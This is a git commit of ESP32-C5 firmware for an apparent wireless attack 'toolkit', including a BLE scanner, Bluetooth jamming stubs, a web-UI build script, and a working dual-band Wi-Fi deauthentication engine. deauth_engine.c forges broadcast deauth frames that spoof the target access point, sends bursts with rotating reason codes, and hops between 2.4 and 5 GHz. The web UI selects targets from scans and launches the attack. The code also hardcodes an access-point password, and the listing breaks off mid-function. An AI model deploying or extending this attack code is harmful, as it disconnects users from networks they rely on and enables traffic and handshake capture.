Initial commit: project docs and ignore rules

This commit is contained in:
Dr Jones
2026-05-03 23:19:51 -07:00
commit 197724f7a5
55 changed files with 35824 additions and 0 deletions

View File

@@ -0,0 +1,29 @@
idf_component_register(
SRCS
"main.c"
"wifi_init.c"
"wifi_scan.c"
"wifi_sniffer.c"
"deauth_engine.c"
"web_server.c"
"signal_analysis.c"
"bt_scanner.c"
"frame_analyzer.c"
"pcap_serializer.c"
"hccapx_serializer.c"
"handshake_capture.c"
INCLUDE_DIRS
"."
REQUIRES
driver
esp_system
esp_wifi
nvs_flash
esp_netif
esp_event
esp_http_server
cjson
esp_timer
esp_driver_tsens
bt
)

View File

@@ -0,0 +1,62 @@
#ifndef BOARD_CONFIG_H
#define BOARD_CONFIG_H
#include "sdkconfig.h"
/**
* @file board_config.h
* @brief Configuration for ESP32-C5 boards
*
* This file contains hardware-specific settings for different ESP32-C5 boards.
* Adjust these settings to match your specific board configuration.
*/
/*
* Basic pin mapping for ESP32-C5
*
* ESP32-C5 pin mapping based on the official ESP32-C5-DevKitC-1 but designed
* to be compatible with generic ESP32-C5 boards. GPIO pins are mapped
* according to common ESP32-C5 dev boards, but can be adjusted as needed.
*/
// GPIO pins (use -1 if not available on your board)
#define GPIO_BUTTON 0 // Boot button (GPIO0 on most ESP32-C5 boards)
// UART pins - Usually these are fixed for ESP32-C5
#define GPIO_UART_TX 11 // UART TX (GPIO11 on ESP32-C5)
#define GPIO_UART_RX 12 // UART RX (GPIO12 on ESP32-C5)
// WiFi antenna configuration
// This is the default if no setting is found in NVS
// Set to 1 to use external antenna, 0 for internal antenna
#define USE_EXTERNAL_ANTENNA 0
// Board identification
// Enable the appropriate board or define your own
#define BOARD_ESP32_C5_DEVKITC 1 // Official ESP32-C5-DevKitC
#define BOARD_ESP32_C5_GENERIC 0 // Generic ESP32-C5 board
// Advanced settings
// Default channel for WiFi AP mode
#define DEFAULT_WIFI_CHANNEL 1
// Advanced WiFi settings - may need adjustment for different boards
#define WIFI_COUNTRY_POLICY WIFI_COUNTRY_POLICY_AUTO
#define WIFI_COUNTRY_CODE "US" // Change according to your region
/**
* Board-specific initializations
* Enable or customize based on your specific board
*/
#if BOARD_ESP32_C5_DEVKITC
// Settings specific to the official DevKitC
#define BOARD_NAME "ESP32-C5-DevKitC"
#elif BOARD_ESP32_C5_GENERIC
// Generic board settings
#define BOARD_NAME "ESP32-C5-Generic"
#else
// Default fallback
#define BOARD_NAME "ESP32-C5"
#endif
#endif /* BOARD_CONFIG_H */

View File

@@ -0,0 +1,300 @@
/**
* @file bt_scanner.c
* @brief NimBLE-based BLE Scanner for ESP32-C5
*
* Uses NimBLE stack (not Bluedroid) which is required for ESP32-C5
*/
#include "bt_scanner.h"
#include "esp_log.h"
#include "nvs_flash.h"
#include "nimble/nimble_port.h"
#include "nimble/nimble_port_freertos.h"
#include "host/ble_hs.h"
#include "host/util/util.h"
#include "esp_timer.h"
#include "freertos/FreeRTOS.h"
#include "freertos/semphr.h"
#include <string.h>
static const char *TAG = "ble_scanner";
#define MAX_BT_DEVICES 30
// Global state
static bool ble_initialized = false;
static bool scan_active = false;
static bt_device_t devices[MAX_BT_DEVICES];
static int device_count = 0;
static SemaphoreHandle_t ble_mutex = NULL;
static uint8_t own_addr_type;
// Forward declarations
static void ble_host_task(void *param);
static int ble_gap_event(struct ble_gap_event *event, void *arg);
// Check if device already exists in list
static bool device_exists(const uint8_t *addr) {
for (int i = 0; i < device_count; i++) {
if (memcmp(devices[i].addr, addr, 6) == 0) {
return true;
}
}
return false;
}
// Parse device name from advertising data
static void parse_adv_name(const uint8_t *data, uint8_t len, char *name_out, size_t name_size) {
name_out[0] = '\0';
uint8_t pos = 0;
while (pos < len) {
uint8_t field_len = data[pos];
if (field_len == 0 || pos + field_len >= len) break;
uint8_t field_type = data[pos + 1];
// Complete Local Name (0x09) or Shortened Local Name (0x08)
if (field_type == 0x09 || field_type == 0x08) {
uint8_t name_len = field_len - 1;
if (name_len >= name_size) name_len = name_size - 1;
memcpy(name_out, &data[pos + 2], name_len);
name_out[name_len] = '\0';
return;
}
pos += field_len + 1;
}
}
// GAP event handler for scan results
static int ble_gap_event(struct ble_gap_event *event, void *arg) {
switch (event->type) {
case BLE_GAP_EVENT_DISC: {
// Received advertising report
if (device_count >= MAX_BT_DEVICES) {
break;
}
// Check if device already in list
if (device_exists(event->disc.addr.val)) {
break;
}
if (xSemaphoreTake(ble_mutex, pdMS_TO_TICKS(10)) == pdTRUE) {
bt_device_t *dev = &devices[device_count];
// Copy address (reverse byte order for display)
for (int i = 0; i < 6; i++) {
dev->addr[i] = event->disc.addr.val[5 - i];
}
dev->rssi = event->disc.rssi;
dev->adv_type = event->disc.event_type;
dev->timestamp = (uint32_t)(esp_timer_get_time() / 1000000ULL);
// Parse name from advertising data
struct ble_hs_adv_fields fields;
if (ble_hs_adv_parse_fields(&fields, event->disc.data, event->disc.length_data) == 0) {
if (fields.name != NULL && fields.name_len > 0) {
size_t copy_len = fields.name_len < 31 ? fields.name_len : 31;
memcpy(dev->name, fields.name, copy_len);
dev->name[copy_len] = '\0';
} else {
strcpy(dev->name, "Unknown");
}
} else {
// Fallback: try manual parsing
parse_adv_name(event->disc.data, event->disc.length_data, dev->name, sizeof(dev->name));
if (dev->name[0] == '\0') {
strcpy(dev->name, "Unknown");
}
}
device_count++;
ESP_LOGI(TAG, "Device %d: %02X:%02X:%02X:%02X:%02X:%02X RSSI:%d %s",
device_count,
dev->addr[0], dev->addr[1], dev->addr[2],
dev->addr[3], dev->addr[4], dev->addr[5],
dev->rssi, dev->name);
xSemaphoreGive(ble_mutex);
}
break;
}
case BLE_GAP_EVENT_DISC_COMPLETE:
ESP_LOGI(TAG, "BLE scan complete, found %d devices", device_count);
scan_active = false;
break;
default:
break;
}
return 0;
}
// NimBLE host sync callback
static void ble_on_sync(void) {
int rc;
// Determine address type
rc = ble_hs_util_ensure_addr(0);
if (rc != 0) {
ESP_LOGE(TAG, "Failed to ensure address: %d", rc);
return;
}
rc = ble_hs_id_infer_auto(0, &own_addr_type);
if (rc != 0) {
ESP_LOGE(TAG, "Failed to infer address type: %d", rc);
return;
}
ESP_LOGI(TAG, "NimBLE host synced, ready to scan");
ble_initialized = true;
}
// NimBLE host reset callback
static void ble_on_reset(int reason) {
ESP_LOGW(TAG, "NimBLE host reset, reason: %d", reason);
ble_initialized = false;
}
// NimBLE host task
static void ble_host_task(void *param) {
ESP_LOGI(TAG, "NimBLE host task started");
nimble_port_run();
nimble_port_freertos_deinit();
}
bool bt_scanner_init(void) {
if (ble_initialized) {
return true;
}
ESP_LOGI(TAG, "Initializing NimBLE BLE scanner");
// Create mutex
if (ble_mutex == NULL) {
ble_mutex = xSemaphoreCreateMutex();
if (ble_mutex == NULL) {
ESP_LOGE(TAG, "Failed to create mutex");
return false;
}
}
// Initialize NimBLE
esp_err_t ret = nimble_port_init();
if (ret != ESP_OK) {
ESP_LOGE(TAG, "Failed to init NimBLE port: %s", esp_err_to_name(ret));
return false;
}
// Configure NimBLE host
ble_hs_cfg.sync_cb = ble_on_sync;
ble_hs_cfg.reset_cb = ble_on_reset;
// Start NimBLE host task
nimble_port_freertos_init(ble_host_task);
// Wait for sync (up to 2 seconds)
for (int i = 0; i < 20 && !ble_initialized; i++) {
vTaskDelay(pdMS_TO_TICKS(100));
}
if (!ble_initialized) {
ESP_LOGW(TAG, "NimBLE not synced yet, but continuing");
}
ESP_LOGI(TAG, "NimBLE BLE scanner initialized");
return true;
}
bool bt_scan_start(void) {
if (!ble_initialized) {
if (!bt_scanner_init()) {
ESP_LOGE(TAG, "BLE not initialized");
return false;
}
// Wait a bit more for sync
vTaskDelay(pdMS_TO_TICKS(500));
}
if (scan_active) {
ESP_LOGW(TAG, "Scan already active");
return true;
}
// Clear previous results
if (xSemaphoreTake(ble_mutex, pdMS_TO_TICKS(1000)) == pdTRUE) {
device_count = 0;
memset(devices, 0, sizeof(devices));
xSemaphoreGive(ble_mutex);
}
// Configure scan parameters
struct ble_gap_disc_params scan_params = {
.itvl = BLE_GAP_SCAN_ITVL_MS(100), // 100ms interval
.window = BLE_GAP_SCAN_WIN_MS(100), // 100ms window (continuous)
.filter_policy = BLE_HCI_SCAN_FILT_NO_WL,
.limited = 0,
.passive = 0, // Active scanning (request scan response)
.filter_duplicates = 1,
};
// Start discovery (scan for 30 seconds)
int rc = ble_gap_disc(own_addr_type, 30000, &scan_params, ble_gap_event, NULL);
if (rc != 0) {
ESP_LOGE(TAG, "Failed to start scan: %d", rc);
return false;
}
scan_active = true;
ESP_LOGI(TAG, "BLE scan started");
return true;
}
bool bt_scan_stop(void) {
if (!scan_active) {
return true;
}
int rc = ble_gap_disc_cancel();
if (rc != 0 && rc != BLE_HS_EALREADY) {
ESP_LOGE(TAG, "Failed to stop scan: %d", rc);
return false;
}
scan_active = false;
ESP_LOGI(TAG, "BLE scan stopped, found %d devices", device_count);
return true;
}
int bt_get_devices(bt_device_t *out_devices, int max_devices) {
if (out_devices == NULL) {
return 0;
}
int count = 0;
if (xSemaphoreTake(ble_mutex, pdMS_TO_TICKS(1000)) == pdTRUE) {
count = (device_count < max_devices) ? device_count : max_devices;
memcpy(out_devices, devices, count * sizeof(bt_device_t));
xSemaphoreGive(ble_mutex);
}
return count;
}
// Stub implementations for jamming (not implemented)
bool bt_jam_start(uint8_t *target_addr, uint32_t duration) {
ESP_LOGW(TAG, "BT jamming not implemented");
return false;
}
bool bt_jam_stop(void) {
return true;
}
bool bt_jam_is_active(void) {
return false;
}

View File

@@ -0,0 +1,69 @@
#ifndef BT_SCANNER_H
#define BT_SCANNER_H
#include <stdbool.h>
#include <stdint.h>
// Bluetooth device structure
typedef struct {
uint8_t addr[6];
char name[32];
int8_t rssi;
uint8_t adv_type;
uint32_t timestamp;
} bt_device_t;
/**
* @brief Initialize Bluetooth scanner
*
* @return true if initialized successfully
*/
bool bt_scanner_init(void);
/**
* @brief Start Bluetooth scan
*
* @return true if scan started successfully
*/
bool bt_scan_start(void);
/**
* @brief Stop Bluetooth scan
*
* @return true if scan stopped successfully
*/
bool bt_scan_stop(void);
/**
* @brief Get scanned devices
*
* @param devices Output array for devices
* @param max_devices Maximum number of devices to retrieve
* @return Number of devices found
*/
int bt_get_devices(bt_device_t *devices, int max_devices);
/**
* @brief Start Bluetooth jamming (authorized use only)
*
* @param target_addr Target device address (NULL for all)
* @param duration Duration in seconds
* @return true if jamming started
*/
bool bt_jam_start(uint8_t *target_addr, uint32_t duration);
/**
* @brief Stop Bluetooth jamming
*
* @return true if stopped
*/
bool bt_jam_stop(void);
/**
* @brief Check if jamming is active
*
* @return true if jamming
*/
bool bt_jam_is_active(void);
#endif /* BT_SCANNER_H */

View File

@@ -0,0 +1,443 @@
#!/usr/bin/env python3
"""
Convert enhanced HTML to C string format for embedding
"""
def escape_c_string(s):
"""Escape string for C embedding"""
s = s.replace('\\', '\\\\')
s = s.replace('"', '\\"')
s = s.replace('\n', '\\n')
return s
# Read the enhanced HTML
with open('enhanced_ui.html', 'r') as f:
html_content = f.read()
# Add complete JavaScript functionality
js_complete = '''
// Complete JavaScript implementation
const charts = {};
let networkActivityData = { labels: [], datasets: [{ label: 'Networks', data: [], borderColor: '#00ff41', backgroundColor: 'rgba(0,255,65,0.1)' }] };
let rssiData = { labels: [], datasets: [{ label: 'RSSI Distribution', data: [], backgroundColor: '#00ff41' }] };
let packetFlowData = { labels: [], datasets: [{ label: 'Packets/sec', data: [], borderColor: '#00d4ff' }] };
let signalTimeData = { labels: [], datasets: [] };
let channelUtilData = { labels: [], datasets: [{ label: 'Utilization %', data: [], backgroundColor: '#00ff41' }] };
let selected24ghz = null;
let selected5ghz = null;
let autoScanInterval = null;
let packetCount = 0;
let startTime = Date.now();
function initCharts() {
const chartOptions = {
responsive: true,
maintainAspectRatio: false,
animation: { duration: 0 },
plugins: {
legend: { labels: { color: '#00ff41', font: { family: 'JetBrains Mono' } } }
},
scales: {
x: {
ticks: { color: '#00ff41', font: { family: 'JetBrains Mono' } },
grid: { color: 'rgba(0,255,65,0.1)' }
},
y: {
ticks: { color: '#00ff41', font: { family: 'JetBrains Mono' } },
grid: { color: 'rgba(0,255,65,0.1)' }
}
}
};
charts.networkActivity = new Chart(document.getElementById('network-activity-chart'), {
type: 'line',
data: networkActivityData,
options: chartOptions
});
charts.rssi = new Chart(document.getElementById('rssi-chart'), {
type: 'bar',
data: rssiData,
options: chartOptions
});
charts.packetFlow = new Chart(document.getElementById('packet-flow-chart'), {
type: 'line',
data: packetFlowData,
options: {
...chartOptions,
scales: {
x: {
ticks: { color: '#00d4ff', font: { family: 'JetBrains Mono' } },
grid: { color: 'rgba(0,212,255,0.1)' }
},
y: {
ticks: { color: '#00d4ff', font: { family: 'JetBrains Mono' } },
grid: { color: 'rgba(0,212,255,0.1)' }
}
}
}
});
charts.signalTime = new Chart(document.getElementById('signal-time-chart'), {
type: 'line',
data: signalTimeData,
options: chartOptions
});
charts.channelUtil = new Chart(document.getElementById('channel-util-chart'), {
type: 'bar',
data: channelUtilData,
options: {
...chartOptions,
scales: {
...chartOptions.scales,
y: {
...chartOptions.scales.y,
max: 100
}
}
}
});
}
function updateDashboard() {
fetch('/api/system-info')
.then(r => r.json())
.then(data => {
document.getElementById('free-heap').textContent = formatBytes(data.free_heap);
const uptime = Math.floor((Date.now() - startTime) / 1000);
document.getElementById('uptime').textContent = formatTime(uptime);
const sysInfo = document.getElementById('system-info');
sysInfo.innerHTML = `
<div class="terminal-line"><span class="terminal-prompt">root@esp32-c5:</span> <span class="terminal-output">IDF Version: ${data.idf_version}</span></div>
<div class="terminal-line"><span class="terminal-prompt">root@esp32-c5:</span> <span class="terminal-output">Chip Model: ${data.chip_model}</span></div>
<div class="terminal-line"><span class="terminal-prompt">root@esp32-c5:</span> <span class="terminal-output">Cores: ${data.chip_cores}</span></div>
<div class="terminal-line"><span class="terminal-prompt">root@esp32-c5:</span> <span class="terminal-output">MAC: ${data.mac_address}</span></div>
<div class="terminal-line"><span class="terminal-prompt">root@esp32-c5:</span> <span class="terminal-output">Features: ${data.features}</span></div>
`;
});
}
function formatBytes(bytes) {
if (bytes < 1024) return bytes + ' B';
if (bytes < 1048576) return (bytes / 1024).toFixed(1) + ' KB';
return (bytes / 1048576).toFixed(2) + ' MB';
}
function formatTime(seconds) {
const h = Math.floor(seconds / 3600);
const m = Math.floor((seconds % 3600) / 60);
const s = seconds % 60;
return `${String(h).padStart(2, '0')}:${String(m).padStart(2, '0')}:${String(s).padStart(2, '0')}`;
}
// WiFi Scanner
document.getElementById('scan-btn')?.addEventListener('click', function() {
this.disabled = true;
const status = document.getElementById('scan-status');
status.className = 'status-indicator active';
document.getElementById('scan-status-text').textContent = 'SCANNING...';
fetch('/api/scan')
.then(r => r.json())
.then(data => {
if (data.status === 'success') {
displayNetworks(data.networks);
updateRSSIChart(data.networks);
document.getElementById('networks-count').textContent = data.networks.length;
}
this.disabled = false;
status.className = 'status-indicator inactive';
document.getElementById('scan-status-text').textContent = 'READY';
});
});
function displayNetworks(networks) {
const tbody = document.querySelector('#networks-table tbody');
tbody.innerHTML = '';
networks.forEach(net => {
const row = document.createElement('tr');
const rssiPercent = Math.min(100, Math.max(0, (net.rssi + 100) * 2));
row.innerHTML = `
<td>${net.ssid || '(HIDDEN)'}</td>
<td><code>${net.bssid}</code></td>
<td>${net.band}</td>
<td>${net.channel}</td>
<td>${net.rssi} dBm</td>
<td>${net.security}</td>
<td>
<div class="signal-bar">
<div class="signal-bar-fill" style="width: ${rssiPercent}%"></div>
</div>
</td>
`;
tbody.appendChild(row);
});
}
function updateRSSIChart(networks) {
const rssiRanges = { '-90 to -80': 0, '-80 to -70': 0, '-70 to -60': 0, '-60 to -50': 0, '-50 to -40': 0, '-40+': 0 };
networks.forEach(net => {
if (net.rssi < -90) rssiRanges['-90 to -80']++;
else if (net.rssi < -80) rssiRanges['-80 to -70']++;
else if (net.rssi < -70) rssiRanges['-70 to -60']++;
else if (net.rssi < -60) rssiRanges['-60 to -50']++;
else if (net.rssi < -50) rssiRanges['-50 to -40']++;
else rssiRanges['-40+']++;
});
rssiData.labels = Object.keys(rssiRanges);
rssiData.datasets[0].data = Object.values(rssiRanges);
charts.rssi.update();
}
// Packet Sniffer
let sniffing = false;
let sniffInterval = null;
document.getElementById('start-sniff')?.addEventListener('click', function() {
const channel = document.getElementById('sniff-channel').value;
const filter = document.getElementById('packet-filter').value;
fetch(`/api/sniff/start?channel=${channel}&filter=${filter}`)
.then(r => r.json())
.then(data => {
if (data.status === 'success') {
sniffing = true;
this.disabled = true;
document.getElementById('stop-sniff').disabled = false;
sniffInterval = setInterval(fetchPackets, 1000);
}
});
});
document.getElementById('stop-sniff')?.addEventListener('click', function() {
fetch('/api/sniff/stop')
.then(r => r.json())
.then(data => {
sniffing = false;
this.disabled = true;
document.getElementById('start-sniff').disabled = false;
if (sniffInterval) {
clearInterval(sniffInterval);
sniffInterval = null;
}
});
});
function fetchPackets() {
if (!sniffing) return;
fetch('/api/sniff/packets')
.then(r => r.json())
.then(data => {
if (data.packets && data.packets.length > 0) {
data.packets.forEach(pkt => addPacketToLog(pkt));
packetCount += data.packets.length;
document.getElementById('packets-count').textContent = packetCount;
updatePacketFlowChart(data.packets.length);
}
});
}
function addPacketToLog(packet) {
const log = document.getElementById('packet-log');
const time = new Date().toLocaleTimeString();
const line = document.createElement('div');
line.className = 'terminal-line';
line.innerHTML = `<span class="terminal-prompt">[${time}]</span> <span class="terminal-output">${packet.type}</span> <span class="terminal-prompt">SRC:</span> <span class="terminal-output">${packet.src}</span> <span class="terminal-prompt">DST:</span> <span class="terminal-output">${packet.dst}</span> <span class="terminal-prompt">RSSI:</span> <span class="terminal-output">${packet.rssi} dBm</span>`;
log.appendChild(line);
log.scrollTop = log.scrollHeight;
if (log.children.length > 100) log.removeChild(log.firstChild);
}
function updatePacketFlowChart(count) {
const now = new Date().toLocaleTimeString();
packetFlowData.labels.push(now);
packetFlowData.datasets[0].data.push(count);
if (packetFlowData.labels.length > 20) {
packetFlowData.labels.shift();
packetFlowData.datasets[0].data.shift();
}
charts.packetFlow.update('none');
}
// Bluetooth Scanner
document.getElementById('bt-scan-btn')?.addEventListener('click', function() {
this.disabled = true;
document.getElementById('bt-scan-stop-btn').disabled = false;
document.getElementById('bt-scan-status').className = 'status-indicator active';
fetch('/api/bt/scan/start')
.then(r => r.json())
.then(data => {
if (data.status === 'success') {
setInterval(fetchBTDevices, 2000);
}
});
});
function fetchBTDevices() {
fetch('/api/bt/devices')
.then(r => r.json())
.then(data => {
if (data.devices) {
displayBTDevices(data.devices);
}
});
}
function displayBTDevices(devices) {
const tbody = document.querySelector('#bt-devices-table tbody');
tbody.innerHTML = '';
devices.forEach(dev => {
const row = document.createElement('tr');
row.innerHTML = `
<td>${dev.name || 'Unknown'}</td>
<td><code>${formatBTAddr(dev.addr)}</code></td>
<td>${dev.rssi} dBm</td>
<td>${dev.type === 1 ? 'BLE' : 'Classic'}</td>
<td><button class="btn" onclick="selectBTJam('${formatBTAddr(dev.addr)}')">SELECT</button></td>
`;
tbody.appendChild(row);
});
}
function formatBTAddr(addr) {
return addr.map(b => b.toString(16).padStart(2, '0')).join(':').toUpperCase();
}
// Deauth Engine
document.getElementById('deauth-scan-btn')?.addEventListener('click', function() {
fetch('/api/scan')
.then(r => r.json())
.then(data => {
if (data.status === 'success') {
displayDeauthNetworks(data.networks);
}
});
});
function displayDeauthNetworks(networks) {
const targets = document.getElementById('deauth-targets');
let html = '<table><tr><th>SSID</th><th>BSSID</th><th>BAND</th><th>CH</th><th>SELECT</th></tr>';
networks.forEach(net => {
html += `<tr><td>${net.ssid || '(HIDDEN)'}</td><td><code>${net.bssid}</code></td><td>${net.band}</td><td>${net.channel}</td><td>`;
if (net.band === '2.4GHz') {
html += `<button class="btn" onclick="selectDeauthTarget('24ghz', '${net.ssid}', '${net.bssid}', ${net.channel})">2.4GHz</button>`;
}
if (net.band === '5GHz') {
html += `<button class="btn" onclick="selectDeauthTarget('5ghz', '${net.ssid}', '${net.bssid}', ${net.channel})">5GHz</button>`;
}
html += '</td></tr>';
});
html += '</table>';
targets.innerHTML = html;
}
function selectDeauthTarget(band, ssid, bssid, channel) {
const target = {ssid, bssid, channel};
if (band === '24ghz') selected24ghz = target;
else selected5ghz = target;
updateDeauthTargets();
}
function updateDeauthTargets() {
const targets = document.getElementById('deauth-targets');
let html = '';
if (selected24ghz) {
html += `<div style="background:#1565C0;padding:10px;margin:10px 0;border:1px solid #00ff41;"><strong>2.4GHz:</strong> ${selected24ghz.ssid} (${selected24ghz.bssid}) CH:${selected24ghz.channel} <button class="btn" onclick="selected24ghz=null;updateDeauthTargets();">REMOVE</button></div>`;
}
if (selected5ghz) {
html += `<div style="background:#E65100;padding:10px;margin:10px 0;border:1px solid #00ff41;"><strong>5GHz:</strong> ${selected5ghz.ssid} (${selected5ghz.bssid}) CH:${selected5ghz.channel} <button class="btn" onclick="selected5ghz=null;updateDeauthTargets();">REMOVE</button></div>`;
}
targets.innerHTML = html;
}
document.getElementById('deauth-start-btn')?.addEventListener('click', function() {
if (!selected24ghz && !selected5ghz) {
alert('SELECT AT LEAST ONE TARGET');
return;
}
const duration = parseInt(document.getElementById('deauth-duration').value);
const body = {duration};
if (selected24ghz) body.target_24ghz = selected24ghz;
if (selected5ghz) body.target_5ghz = selected5ghz;
if (!confirm('START DEAUTH ATTACK? USE ONLY ON YOUR NETWORKS!')) return;
fetch('/api/deauth/start', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(body)
})
.then(r => r.json())
.then(data => {
if (data.status === 'success') {
this.disabled = true;
document.getElementById('deauth-stop-btn').disabled = false;
setInterval(updateDeauthStats, 1000);
}
});
});
function updateDeauthStats() {
fetch('/api/deauth/status')
.then(r => r.json())
.then(data => {
document.getElementById('deauth-total').textContent = data.total_packets || 0;
document.getElementById('deauth-24').textContent = data.packets_24ghz || 0;
document.getElementById('deauth-5').textContent = data.packets_5ghz || 0;
document.getElementById('deauth-time').textContent = (data.elapsed_time || 0) + 's';
});
}
// Navigation
document.querySelectorAll('.nav-item').forEach(item => {
item.addEventListener('click', () => {
document.querySelectorAll('.nav-item').forEach(i => i.classList.remove('active'));
item.classList.add('active');
document.querySelectorAll('.page').forEach(p => p.classList.remove('active'));
document.getElementById(item.getAttribute('data-page')).classList.add('active');
});
});
// Initialize
document.addEventListener('DOMContentLoaded', function() {
initCharts();
loadSystemInfo();
updateDashboard();
setInterval(updateDashboard, 1000);
});
function loadSystemInfo() {
updateDashboard();
}
'''
# Replace the placeholder JavaScript
html_content = html_content.replace(
' // API functions and event handlers would go here...\n // (This is a template - full implementation continues)',
js_complete
)
# Convert to C string format
c_string = 'static const char index_html[] = \\\n'
lines = html_content.split('\n')
for i, line in enumerate(lines):
escaped = escape_c_string(line)
if i < len(lines) - 1:
c_string += f'"{escaped}\\n"\\\n'
else:
c_string += f'"{escaped}";'
# Write output
with open('enhanced_ui_c_string.txt', 'w') as f:
f.write(c_string)
print(f"Converted HTML to C string format")
print(f"Original size: {len(html_content)} bytes")
print(f"C string size: {len(c_string)} bytes")
print("File: enhanced_ui_c_string.txt")

View File

@@ -0,0 +1,312 @@
#include "deauth_engine.h"
#include "esp_wifi.h"
#include "esp_log.h"
#include "esp_timer.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/semphr.h"
#include <string.h>
static const char *TAG = "deauth_engine";
// Deauth frame structure
typedef struct {
uint8_t frame_ctrl[2];
uint8_t duration[2];
uint8_t da[6];
uint8_t sa[6];
uint8_t bssid[6];
uint8_t seq[2];
uint8_t reason[2];
} __attribute__((packed)) deauth_frame_simple_t;
// Global state
static volatile bool attack_running = false;
static deauth_target_t target_24ghz = {0};
static deauth_target_t target_5ghz = {0};
static uint32_t attack_duration = 0;
static uint32_t attack_start_time = 0;
static TaskHandle_t attack_task_handle = NULL;
static SemaphoreHandle_t attack_mutex = NULL;
// Get current time in seconds
static uint32_t get_time_sec(void) {
return (uint32_t)(esp_timer_get_time() / 1000000ULL);
}
// Fast deauth send
static inline void send_deauth_fast(uint8_t *ap_mac, uint16_t reason) {
static uint8_t broadcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
deauth_frame_simple_t frame;
frame.frame_ctrl[0] = 0xC0;
frame.frame_ctrl[1] = 0x00;
frame.duration[0] = 0x00;
frame.duration[1] = 0x00;
memcpy(frame.da, broadcast, 6);
memcpy(frame.sa, ap_mac, 6);
memcpy(frame.bssid, ap_mac, 6);
frame.seq[0] = 0x00;
frame.seq[1] = 0x00;
frame.reason[0] = reason & 0xFF;
frame.reason[1] = (reason >> 8) & 0xFF;
esp_wifi_80211_tx(WIFI_IF_STA, &frame, sizeof(frame), false);
}
// Aggressive deauth burst for one target
static uint32_t send_deauth_burst(deauth_target_t *target) {
if (!target->active) return 0;
static uint16_t reasons[] = {0x0001, 0x0003, 0x0006, 0x0007, 0x0008};
uint32_t sent = 0;
// Set channel
esp_wifi_set_channel(target->channel, WIFI_SECOND_CHAN_NONE);
// Send burst of 10 frames with different reason codes
for (int i = 0; i < 10; i++) {
send_deauth_fast(target->bssid, reasons[i % 5]);
sent++;
}
return sent;
}
// Restore AP Mode
static void restore_ap_mode(void) {
ESP_LOGI(TAG, "Restoring AP mode...");
wifi_config_t ap_config = {
.ap = {
.ssid = "ESP32-C5-Toolkit",
.ssid_len = strlen("ESP32-C5-Toolkit"),
.password = "h4ck3rm4n",
.channel = 1,
.max_connection = 4,
.authmode = WIFI_AUTH_WPA2_PSK,
.pmf_cfg = {.required = false},
},
};
esp_wifi_set_mode(WIFI_MODE_APSTA);
esp_wifi_set_config(WIFI_IF_AP, &ap_config);
}
// Dual-Band Attack Task
static void dual_band_attack_task(void *pvParameters) {
ESP_LOGI(TAG, "Dual-band deauth attack started");
if (target_24ghz.active) {
ESP_LOGI(TAG, "2.4GHz Target: %s | CH: %d", target_24ghz.ssid, target_24ghz.channel);
}
if (target_5ghz.active) {
ESP_LOGI(TAG, "5GHz Target: %s | CH: %d", target_5ghz.ssid, target_5ghz.channel);
}
ESP_LOGI(TAG, "Duration: %lu seconds", attack_duration);
// Switch to STA only mode
ESP_LOGI(TAG, "Switching to STA mode (AP disabled)...");
esp_wifi_set_mode(WIFI_MODE_STA);
vTaskDelay(pdMS_TO_TICKS(500));
attack_start_time = get_time_sec();
target_24ghz.packets_sent = 0;
target_5ghz.packets_sent = 0;
uint32_t last_log_time = 0;
uint32_t cycle_count = 0;
ESP_LOGI(TAG, "Attack started - rapid band switching");
// MAIN ATTACK LOOP - Fast switching between bands
while (attack_running) {
uint32_t elapsed = get_time_sec() - attack_start_time;
// Check duration
if (elapsed >= attack_duration) {
ESP_LOGI(TAG, "Attack duration expired");
break;
}
// Attack 2.4GHz band (10 packets)
if (target_24ghz.active) {
uint32_t sent = send_deauth_burst(&target_24ghz);
target_24ghz.packets_sent += sent;
}
// Tiny delay for channel switch to settle
vTaskDelay(pdMS_TO_TICKS(5));
// Attack 5GHz band (10 packets)
if (target_5ghz.active) {
uint32_t sent = send_deauth_burst(&target_5ghz);
target_5ghz.packets_sent += sent;
}
// Minimal delay before next cycle
vTaskDelay(pdMS_TO_TICKS(5));
cycle_count++;
// Log every 2 seconds
if (elapsed - last_log_time >= 2) {
last_log_time = elapsed;
uint32_t remaining = attack_duration - elapsed;
uint32_t total_packets = target_24ghz.packets_sent + target_5ghz.packets_sent;
float total_pps = (float)total_packets / (float)(elapsed > 0 ? elapsed : 1);
ESP_LOGI(TAG, "[%2lu/%2lu sec] Total: %6lu pkt | PPS: %4.0f | Remaining: %2lu sec",
elapsed, attack_duration, total_packets, total_pps, remaining);
}
}
ESP_LOGI(TAG, "Dual-band attack completed");
uint32_t total_time = get_time_sec() - attack_start_time;
uint32_t total_packets = target_24ghz.packets_sent + target_5ghz.packets_sent;
ESP_LOGI(TAG, "Statistics: Total packets: %lu, Total time: %lu seconds", total_packets, total_time);
attack_running = false;
// Restore AP mode
restore_ap_mode();
ESP_LOGI(TAG, "Ready for next attack");
attack_task_handle = NULL;
vTaskDelete(NULL);
}
// Start Dual-Band Attack
bool deauth_start_attack(deauth_target_t *target_24ghz_param, deauth_target_t *target_5ghz_param, uint32_t duration) {
if (attack_mutex == NULL) {
attack_mutex = xSemaphoreCreateMutex();
if (attack_mutex == NULL) {
ESP_LOGE(TAG, "Failed to create attack mutex");
return false;
}
}
if (xSemaphoreTake(attack_mutex, portMAX_DELAY) != pdTRUE) {
return false;
}
if (attack_running) {
ESP_LOGW(TAG, "Attack already running");
xSemaphoreGive(attack_mutex);
return false;
}
// Reset targets
memset(&target_24ghz, 0, sizeof(target_24ghz));
memset(&target_5ghz, 0, sizeof(target_5ghz));
// Copy target data
if (target_24ghz_param && target_24ghz_param->active) {
memcpy(&target_24ghz, target_24ghz_param, sizeof(target_24ghz));
}
if (target_5ghz_param && target_5ghz_param->active) {
memcpy(&target_5ghz, target_5ghz_param, sizeof(target_5ghz));
}
if (!target_24ghz.active && !target_5ghz.active) {
ESP_LOGW(TAG, "No targets selected");
xSemaphoreGive(attack_mutex);
return false;
}
attack_duration = duration;
attack_running = true;
BaseType_t ret = xTaskCreate(dual_band_attack_task, "dual_attack", 8192, NULL, 5, &attack_task_handle);
if (ret != pdPASS) {
ESP_LOGE(TAG, "Failed to create attack task");
attack_running = false;
xSemaphoreGive(attack_mutex);
return false;
}
xSemaphoreGive(attack_mutex);
return true;
}
// Stop attack
bool deauth_stop_attack(void) {
if (attack_mutex == NULL) {
return false;
}
if (xSemaphoreTake(attack_mutex, portMAX_DELAY) != pdTRUE) {
return false;
}
